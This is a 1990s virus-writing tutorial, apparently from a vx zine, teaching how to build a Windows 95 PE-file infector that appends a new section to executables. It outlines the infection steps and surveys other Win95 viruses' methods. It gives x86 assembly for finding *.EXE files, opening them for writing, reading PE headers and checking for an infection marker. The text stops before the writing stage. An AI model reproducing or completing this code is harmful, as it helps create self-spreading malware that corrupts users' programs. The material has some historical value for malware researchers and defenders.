PE Infection school
by JHB
Infecting a PE files is a little complex unlike in dos, you must
also do some "strange" things to open and read files. For those among us
who do know little about Windows this may be tough to grasp but it just
another hurdle that Microsoft has put in virii writers/just plain hackers
of Win95.
I will try in this article to break it down into managable steps but I
will concentrate on the infection part and leave the other aspects to other
articles, and other people I hope to explain. This article will be specific
to a PE infector that will add a section. Try reading the last 2 vlad's and
IR latest zine for more info on RVA's and other PE win95 features.
Ok I will probaly glance over things that you might feel are important if
so I hope you take the hint that "you" might need to study some more.
Here we go school is in session, lets start with some info that we all
as virii writers or researchers should know the steps a virus makes to
spread.
1 Find a file
2 Read enough of the file into a buffer to determine
A If it is a file the virii can infect.
B If it is already infected
3 At this point we know the file is appears to be a proper
host.
A Write the virii to the end of the host.
B Modify the header, write it to the host
C Close the host
4 Well at this point we return control to the orginal host.
(this is a part I am going to only give a glimpse at)
Due to the way Win95 "guards" the interrupts, the virii needs to get access
to the Win API.
Bizatch: The first VLAD PE virus saves the API's address in it this
form of hardcodeing can cause the virus to fail in other
version of Win95.
Punch: The VLAD VxD virus does this by fooling with the imports
and then fixing it so the host see it as it should be
Mr Klunky: IR's VxD virus, not sure sorry Mr K just have not had time
Murkry: The first PE header infector (by my friend) also use the
hardcodeing method
Spawn95: This virus is a companion virus and of course use the API's
like a normal PE program does
Puma : First seen in this issue of Zine 2 use a search engine
to get the API address. Should be more robust then the
hardcode method but Punch95 method should be a better
way.
Ok a brief synaspe of some Win95 virus and how they grab API's well I
wanted a simple way, and sorta wanted it to be like DOS infections. Hmm
well there is away to call int 21's in Win95 you need the first Exported
API which is called CallVxD0 by some books this program will use this method
this will have a added advatage of allowing the virus to use Int 21 like
calls. But may not be as robust as Punch's method, it should work better
than straight hardcodeing. Read the notes on the GetProc engine in Zine 2
to find out more about this. Also the article on hooking API's in Zine 2.
Wow thats enough of a Tangent and probaly bored the hell out of most
of ya ;). On to the virii code,
-----1 Find a file.
Well Win95 has a Findfirst and FindNext routine we can call using
VxDcall -int21(just called int21 for now on)
if this looks familiar it should its just the
Win95 version of int 21 4eh, and int 21 4fh
FILE equ 00400300h ;data
FNAME EQU 02CH ;for the find file routines
Fexe db '*.EXE',0
FindFile:
mov eax,0000714eh
mov edx,offset Fexe
xor esi,esi
inc esi
push ds
pop es
mov Edi, FILE
xor ecx,ecx
Call INT_21
mov ebx,eax
ret
;-------------------------------------------------------------
;ax = 714Fh
;bx = file handle from previous search
;si = date time requested
;es:di buffer for findata
;note ebx = the search handle
FindNext:
mov eax,0000714fh
mov esi,1
mov edi, FILE
call INT_21
ret
;-------------------------------------------------------------
-----2 Read enough of the file into a buffer to determine
----- A If it is a file the virii can infect.
again use the int21 open file
;-------------------------------------------------------------
;usual dos function here just need the filename from the search routine
;check cf for error
OpenFile:
mov eax,00003d02h
mov Edx,FILE + FNAME
xor ecx,ecx
call INT_21
mov EBX,eax
ret
;-------------------------------------------------------------
use the int21 read file
;-------------------------------------------------------------
;ecx number of bytes
;edx = where we write the info to
ReadFile:
mov eax, 00003f00h
;mov ecx,2
;mov Edx,OFFSET test
call INT_21
ret
;-------------------------------------------------------------
but win95 throws a problem here you cant write
to the host data it mite be initialize date and you
would destroy it. So I am using the "dead" space from the
PE header to the first segment to write to this is only
possible due to the fact the the VxD calls are ignoring the
limits that win95 can put on us. Then I can move the important
stuff to the stack and read write there. The stack is small
and rather than change it I use is as little as I can.
Ok we know have the header in memory the typical PE header is
including the intersting tables is about 1K in size. Actaul its
usual alot smaller but 1k will read in the dos MZ header and the
PE part.
-------B If it is already infected
Well for this test we can check the section names for our header
XINE is a good name as any ;). so we check to the last section
header.
1 find the PE find the offset by looking into the MZ header at
offset 3ch then use that offset to get the other info
just for simplicity () means the value we are pointing at
[] means a constant
PEhder(3CH) + PE_SIZE[F8H]+ ((NumSect(6)-1) * SecSze[28H])
ok this value is the pointer to the last section header name
now put this in esi and do lodsw
mov esi,[PEHDER] ;3Ch
push esi
add esi,6
mov eax,[esi]
dec eax
mov cx,SECSZE ;28h
mul cx
pop ecx
add eax,ecx
add eax,PeSize ;0F8h
push eax
pop esi
lodsd
cmp eax,"xki."
jne InfectIt
AllReady:
ret